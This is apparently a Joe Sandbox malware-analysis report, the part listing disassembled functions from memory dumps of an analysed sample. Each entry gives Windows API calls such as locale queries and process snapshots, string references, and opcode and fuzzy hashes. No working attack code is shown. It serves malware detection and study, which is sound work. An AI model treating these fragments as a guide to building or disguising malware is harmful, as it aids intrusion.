Opcode Fuzzy Hash: f4b8bdd8457bcfc4c45227cd8e011dcb7c307821fe9b7f9ba872adc4a704712f
Instruction Fuzzy Hash: 2422AE70A002598FCF14CF98C8906ADBBB2FF49314F28826DE859EB385D775AD45CB90

Function 0087C790 Relevance: 1.8, Strings: 1, Instructions: 553COMMON

Download Yara Rule

Strings

0123456789abcdefABCDEFxX+-pPiInN, xrefs: 0087CB77, 0087CB7C

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID: 0123456789abcdefABCDEFxX+-pPiInN
API String ID: 0-2175827864
Opcode ID: 2578e232ff7f59313892379f6f1eb9f706010ee5c1e5944bc3f6cd2116cd0f5e
Instruction ID: d87428fff67468a1020d09ff90253fc7fcdb7310193bf52cdf629ead337d520b
Opcode Fuzzy Hash: 2578e232ff7f59313892379f6f1eb9f706010ee5c1e5944bc3f6cd2116cd0f5e
Instruction Fuzzy Hash: 41228D71A002598FCF15CF98C8906ADBBB2FF89314F28826DE859EB385D734AD45DB50

Function 0087CE60 Relevance: 1.8, Strings: 1, Instructions: 553COMMON

Download Yara Rule

Strings

0123456789abcdefABCDEFxX+-pPiInN, xrefs: 0087D247, 0087D24C

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID: 0123456789abcdefABCDEFxX+-pPiInN
API String ID: 0-2175827864
Opcode ID: c1f97163e0947d2ec761e9db0faf58e5b41b6f8a578aef7a398aa841aa1016d8
Instruction ID: f3d36a5d20e72c3a395edea7ff456c4f58bc55342cf7f7024ff42021cf0d7244
Opcode Fuzzy Hash: c1f97163e0947d2ec761e9db0faf58e5b41b6f8a578aef7a398aa841aa1016d8
Instruction Fuzzy Hash: DC228E71A003598FCF14CF98C890AADBBB2FF49314F288259E859EB385D775AD46CB50

Function 00928E62 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00928DBD,?,?,00000008,?,?,0092C643,00000000), ref: 0092908F

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 0537da7340c3d81d78977cfec4d4ad69565b4b78e70c4ecea545dc52b3f48d42
Instruction ID: 1fea9d6ec91f78e7a984d731c41c4b7da51593649852efea44223d2999e3c8b0
Opcode Fuzzy Hash: 0537da7340c3d81d78977cfec4d4ad69565b4b78e70c4ecea545dc52b3f48d42
Instruction Fuzzy Hash: FAB1AE31210619DFD714CF28D48ABA57BE1FF05324F298658E89ACF2E6C735E992CB40

Function 05940000 Relevance: 1.7, Strings: 1, Instructions: 488COMMON

Download Yara Rule

Strings

Y`l=, xrefs: 05940593

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID:
String ID: Y`l=
API String ID: 0-1320565934
Opcode ID: edf368804a618f218c17f208d3900245e3cb5d171d7fb9e5d82929b710462c2d
Instruction ID: d957ccedd22c2e0bfa0f19c925bed4ccfe34f316631a6388b06b2f7e22f4debd
Opcode Fuzzy Hash: edf368804a618f218c17f208d3900245e3cb5d171d7fb9e5d82929b710462c2d
Instruction Fuzzy Hash: FDE134BBD553394BDB24CE79DC483AEA562B7C0304F869328D817EF248DB3549868BC1

Function 00900456 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0090046C

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 5c9ab300f1d51a85aff2f73ac7b554a1c5f02f33fb0ebf885d0ae2eb1cb6ca82
Instruction ID: d0c78ad7df2973e77c153748e99ba09a6044eb29329114e3cef2ae17c00338bd
Opcode Fuzzy Hash: 5c9ab300f1d51a85aff2f73ac7b554a1c5f02f33fb0ebf885d0ae2eb1cb6ca82
Instruction Fuzzy Hash: BD515CB1A146258FEB14CF65D8C57AABBF4FB88310F24842AD405EB290D3B59A54DF50

Function 0091688D Relevance: 1.6, APIs: 1, Instructions: 140timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(00000000,00000000,00000000,00916D63,?,-00000004), ref: 00916941

Part of subcall function 0092450A: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0091DE8B,?,00000000,-00000008), ref: 0092456B

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ByteCharInformationMultiTimeWideZone
String ID:
API String ID: 1123094072-0
Opcode ID: b51f1c27afa7fcee5b7faac37931f766cb5744a05307a827378be68d7dee6b00
Instruction ID: 751b69dea16cd913b711486a96e1fe5423cc1d0c9ae62955de0811bfc336f1de
Opcode Fuzzy Hash: b51f1c27afa7fcee5b7faac37931f766cb5744a05307a827378be68d7dee6b00
Instruction Fuzzy Hash: 6D41A4B1E04219BFCF10AFA5DC06B9E7BACEF45750F118065FA14A72A1E7709E90DB90

Function 0596C7C8 Relevance: 1.6, Strings: 1, Instructions: 333COMMON

Download Yara Rule

Strings

0, xrefs: 0596C938

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 7111c669f6d44cbc8f8a6a43a232047415180a726c8752ab3431b2209ebd9888
Instruction ID: 8d4e88d9bcf4962c0102fa59823bf64a77704c690d13eca1d1355fbe8f1d6e1f
Opcode Fuzzy Hash: 7111c669f6d44cbc8f8a6a43a232047415180a726c8752ab3431b2209ebd9888
Instruction Fuzzy Hash: 58C1EF346046468FCB38CFA8C588A7ABBBAFF45214F144A1AF4D797691D335AD0DCB60

Function 00922CC0 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0091DF1A: GetLastError.KERNEL32(00000000,?,0091AB09), ref: 0091DF1E
Part of subcall function 0091DF1A: SetLastError.KERNEL32(00000000,?,?,00000028,00914B7E), ref: 0091DFC0

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00922D14

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 3a8d58283f66fd507279f17d7ab09f427a69a93d01a07829cb3c37dc8092c7c6
Instruction ID: dbe2f85cb62ecbf995fed30a6b1f640322cb4f6b9a17a6abd951f2625f8d595a
Opcode Fuzzy Hash: 3a8d58283f66fd507279f17d7ab09f427a69a93d01a07829cb3c37dc8092c7c6
Instruction Fuzzy Hash: 7421C57261521ABBDB289F24EC42BBA73ACEF44304F10007AFD02D6185EB78ED45CB50

Function 05946450 Relevance: 1.6, Strings: 1, Instructions: 315COMMON

Download Yara Rule

Strings

,, xrefs: 059466B8

Memory Dump Source

Source File: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, Offset: 05940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5940000_0x001900000002ab40-59.jbxd

Yara matches

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 074f1b3635a8e9b5ace491adf911b0c15371299d348c69fb7a58ef832e6417d7
Instruction ID: f83e7e9891d33ceebe1452b0ab7a81d6f9f94678ab0588ecd46c07546de3f95a
Opcode Fuzzy Hash: 074f1b3635a8e9b5ace491adf911b0c15371299d348c69fb7a58ef832e6417d7
Instruction Fuzzy Hash: D2D17271A0526A9FCB25CB68CC40BEDBB71BF56300F0442EAD459A7742D7709E94CFA1

Function 00922958 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 0091DF1A: GetLastError.KERNEL32(00000000,?,0091AB09), ref: 0091DF1E
Part of subcall function 0091DF1A: SetLastError.KERNEL32(00000000,?,?,00000028,00914B7E), ref: 0091DFC0

EnumSystemLocalesW.KERNEL32(00922A00,00000001,00000000,?,-00000050,?,009227E3,00000000,-00000002,00000000,?,00000055,?), ref: 009229CA

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 945b5e00c71dbd490dfc4123d57310c1bf856af3c8a8f32bd3b6b72d2f5994c6
Instruction ID: 7fba44239203b538362c81516c989e4a573c521fc2eb29b89967d812fbd3a658
Opcode Fuzzy Hash: 945b5e00c71dbd490dfc4123d57310c1bf856af3c8a8f32bd3b6b72d2f5994c6
Instruction Fuzzy Hash: 3311C23B204705AFDB289F3998916BAB795FB84368B18442DE98787B44D371B982CB50

Function 00922DE0 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 0091DF1A: GetLastError.KERNEL32(00000000,?,0091AB09), ref: 0091DF1E
Part of subcall function 0091DF1A: SetLastError.KERNEL32(00000000,?,?,00000028,00914B7E), ref: 0091DFC0

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00922E34

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 4db88bd03d8f4f637da8ffd545bc300c2e4ef3a6ec5350cd8c04d67a04e7eec8
Instruction ID: c9c9ce88564290b2e715984a779cdd217ffd2f2244be77affca23d0a02b63a29
Opcode Fuzzy Hash: 4db88bd03d8f4f637da8ffd545bc300c2e4ef3a6ec5350cd8c04d67a04e7eec8
Instruction Fuzzy Hash: F011067261111AABDB14AF28EC46BBA77ECEF44314B11417AF502C7281EB78E905DB50

Function 00930A00 Relevance: 1.6, Strings: 1, Instructions: 302COMMON

Download Yara Rule

Strings

0, xrefs: 00930A71

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 65be40d06735656bed258f1462c0659f0c9083f8566e15df3cdb0aefdaea6583
Instruction ID: 0b31e225a4dccdf5b70c4557e374362973f4ebf03d61156cdf796291809b285d
Opcode Fuzzy Hash: 65be40d06735656bed258f1462c0659f0c9083f8566e15df3cdb0aefdaea6583
Instruction Fuzzy Hash: 0CD1B571C18FC587E7129B3D84432AAF3A0BFEA254F10D71AECD076652FB74A6858781

Function 00922C53 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 0091DF1A: GetLastError.KERNEL32(00000000,?,0091AB09), ref: 0091DF1E
Part of subcall function 0091DF1A: SetLastError.KERNEL32(00000000,?,?,00000028,00914B7E), ref: 0091DFC0

EnumSystemLocalesW.KERNEL32(00922CC0,00000001,?,?,-00000050,?,009227AB,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 00922C9D

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 783f40a4b832314f64ad5a9cf7f46c48a1a054d225153adbd698be3013f49829
Instruction ID: eed299cc1d6b6be523b458e2e02889c155b81ada87b8fe0134862d96cdcc3a0d
Opcode Fuzzy Hash: 783f40a4b832314f64ad5a9cf7f46c48a1a054d225153adbd698be3013f49829
Instruction Fuzzy Hash: FDF0F6363043146FDB249F35E881ABA7B95EFC0368B09846CF9468B684C6B1AD42C750

Function 0091EE2D Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 0091EF31: EnterCriticalSection.KERNEL32(-000673A9,?,0090FC09,00000000), ref: 0091EF40

EnumSystemLocalesW.KERNEL32(0091EE20,00000001,0095F7F8,0000000C,0091E6E1,-00000050), ref: 0091EE65

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 5ce99284433597d9acd15199596d5ca0495c9fe906c8fb1be6c36b72be3debf9
Instruction ID: a000513dea9c01e3cd0f1bf088a1e59db8dee80ef8d96cdd98cf2e0b384a8796
Opcode Fuzzy Hash: 5ce99284433597d9acd15199596d5ca0495c9fe906c8fb1be6c36b72be3debf9
Instruction Fuzzy Hash: 41F04972A24204DFEB00EF99E846B9D7BF1EB88721F10456AF914DB2E0CBB55944DF50

Function 008D2E30 Relevance: 1.5, Strings: 1, Instructions: 281COMMON

Download Yara Rule

Strings

H, xrefs: 008D30DE

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: 247e4253ff80c9b0d953cde07491702eaf629efde0f6514c361232a2c4bd5e71
Instruction ID: 794940ed8cb1bf37e0982036d43ac7fa3bd3a5cde7d1424da176d47d17f1485a
Opcode Fuzzy Hash: 247e4253ff80c9b0d953cde07491702eaf629efde0f6514c361232a2c4bd5e71
Instruction Fuzzy Hash: D3B146756087019FC701EF28C89492EBBE6FFCA754F054A2DF986A7351EB30E9458B42

Function 00922D95 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 0091DF1A: GetLastError.KERNEL32(00000000,?,0091AB09), ref: 0091DF1E
Part of subcall function 0091DF1A: SetLastError.KERNEL32(00000000,?,?,00000028,00914B7E), ref: 0091DFC0

EnumSystemLocalesW.KERNEL32(00922DE0,00000001,?,?,?,00922805,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 00922DCC

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: b6d81dd7bc12f8a1b85a2cf048cd46dfe617f61a810dd5b7c55f4ac17444375e
Instruction ID: d7e08459eb8dd6e1a05ca1b5aeac149a6fc87ba70a65f0a4532070f84c0c53c2
Opcode Fuzzy Hash: b6d81dd7bc12f8a1b85a2cf048cd46dfe617f61a810dd5b7c55f4ac17444375e
Instruction Fuzzy Hash: E8F0EC3630031567CB049F35EC55B667F94EFC1755B4A4058EA058B294C6719983C790

Function 00866740 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 00866753

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 1873d9fdb86fa3143bf3d9853f9cf433758a4f8cbfa661fc68aab627507b57f6
Instruction ID: 31878bd2c8f221bcde72262cd944e13149218094233b50a261ffad886ecd5797
Opcode Fuzzy Hash: 1873d9fdb86fa3143bf3d9853f9cf433758a4f8cbfa661fc68aab627507b57f6
Instruction Fuzzy Hash: 44F08CB1801B209FD721AB79DD01697BBE4FF04754F05043DE646D6671EA32B9508B82

Function 0091E83C Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,009118E3,?,20001004,00000000,00000002,?,?,009107E8), ref: 0091E870

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 39e43295bbc0226a276ce8f7e2f2f4bf930951f6f4997a1a81b2c452977a0ff4
Instruction ID: 0b9a0649e3f7fa46dd966dc98a89e3a292ba255d90eeb09f55606332f0b510fb
Opcode Fuzzy Hash: 39e43295bbc0226a276ce8f7e2f2f4bf930951f6f4997a1a81b2c452977a0ff4
Instruction Fuzzy Hash: 31E04F3160021CFBCF126F61DC04AEE7F19EF48761F044460FD0565161CB719960AB95

Function 008A09A0 Relevance: 1.5, APIs: 1, Instructions: 21processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 008A09A7

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
